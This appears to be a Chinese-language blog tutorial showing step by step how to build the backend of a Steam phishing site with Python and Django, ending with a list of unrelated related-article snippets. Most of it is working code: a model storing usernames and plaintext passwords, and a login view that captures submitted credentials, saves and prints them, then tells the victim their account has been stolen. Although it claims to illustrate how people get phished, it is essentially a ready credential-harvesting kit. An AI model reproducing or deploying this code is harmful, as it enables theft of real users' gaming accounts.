为何钓鱼网站一钓一个准?Python Django带你搭建steam钓鱼网站

前言

我们日常上网的时候,总是会碰到一些盗号的网站,或者是别人发一些链接给你,里面的内容是一些可以免费购物网站的优惠券、游戏官网上可以免费领取皮肤、打折的游戏。

在这里插入图片描述

这些盗号网站统一的目的都是要你登录账号输入密码,点击登录,不过就是永远会提示你密码错误登录不上。但你输入的所有信息,都会出现在别人的电脑上

而今天,我们的目的就是搭建一个这样的网站后端,简单的还原一下你被盗号的过程

请添加图片描述

环境搭建

安装Django模块

pip install django[==版本]

如:pip install django==3.0
安装django的指定版本

创建Django项目

在命令指示符里数据命令

django-admin startproject steam_web 

在这里插入图片描述


manage.py是命令文件,如果要运行Django内置的命令,必须要通过这个文件才行

创建子应用

把网站的各个模块拆分成子应用

python manage.py startapp login

在这里插入图片描述


生成一个login文件,打开文件

在这里插入图片描述


在这里插入图片描述

介绍下我们会用到的文件

models.py文件:数据模型
views.py文件:用来控制页面逻辑

查看项目是否环境配置成功

可以用pycharm直接打开文件,然后点击运行


运行后会给出一段域名,点击打开

在这里插入图片描述

如果出现下面的页面,就说明该项目环境配置成功了

开始实现功能

点击进入settings.py文件,进行定制化修改

在这里插入图片描述

Application deFinition 网站子应用进行注册,在最后一行写入login

# Application deFinition
# 网站子应用进行注册
INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'login',
]

创建一个templates文件,并修改代码

# templates 文件夹的配置项
TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'Dirs': [os.path.join(BASE_DIR, 'templates')],
        'APP_Dirs': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]

配置网站认语言、时间

# 网站认语言 英文 修改中文
LANGUAGE_CODE = 'zh-hans'
# 当前时间
TIME_ZONE = 'Asia/Shanghai'

USE_I18N = True

USE_L10N = True

USE_TZ = False

最后在刷新网站页面,就变成了中文

静态页面当中的文件夹配置,并在总目录中创建一个static文件

STATIC_URL = '/static/'
STATICFILES_Dirs = [
    os.path.join(BASE_DIR, 'static'),
]

请添加图片描述

导入所需文件

在这里插入图片描述


在这里插入图片描述

开始编写数据模型

打开**models.py文件,需要去创建一个模型类

from django.db import models

# Create your models here.

class User(models.Model):
    name = models.CharField(max_length=20)
    pwd = models.CharField(max_length=20)

编写视图

打开views.py文件,编写视图,是控制网站与用户的交互逻辑

# 渲染html文件到浏览器的
from django.shortcuts import render
from django.views.generic import View
from .models import User
from django.http import HttpResponse
# Create your views here.

# 在浏览器中显示网站首页
def index(request):
    return render(request, 'index.html')


# 登录类视图
class Login(View):
    def get(self, request):
        return render(request, 'denlu.html', locals())

    '''
    当用户页面中输入了一些数据
    可以使用post去做接收
    '''
    def post(self, request):
        name = request.POST.get('username')
        pwd = request.POST.get('password')

        User.objects.create(name=name, pwd=pwd).save()
        print(name)
        print(pwd)

        return HttpResponse('你的账号已经被盗,溜了 溜了~')

在urls.py文件里编写路由

from django.contrib import admin
from django.urls import path
from login.views import index, Login

urlpatterns = [
    path('admin/', admin.site.urls),
    path('', index, name='index'),
    path('login/', Login.as_view(), name='login')
]

同步数据库

因为只是个教学,所以用是自带的:sqlite3文件型小型数据库

在这里插入图片描述

点击打开后,在这里输入makemigrations,这是将数据模型中的字段编译成一个Python的脚本,包含了sql语言

在这里插入图片描述

确定后会给你生成一个0001_initial.py文件

然后在执行脚本,输入 migrate 将数据模型映射到数据库

在这里插入图片描述


请添加图片描述


请添加图片描述

运行文件效果如下图

选择点击登录,输入账号密码,点击确定

在这里插入图片描述


然后你的账号密码会被打印出来


在这里插入图片描述

相关文章

功能概要:(目前已实现功能)公共展示部分:1.网站首页展示...
大体上把Python中的数据类型分为如下几类: Number(数字) ...
开发之前第一步,就是构造整个的项目结构。这就好比作一幅画...
源码编译方式安装Apache首先下载Apache源码压缩包,地址为ht...
前面说完了此项目的创建及数据模型设计的过程。如果未看过,...
python中常用的写爬虫的库有urllib2、requests,对于大多数比...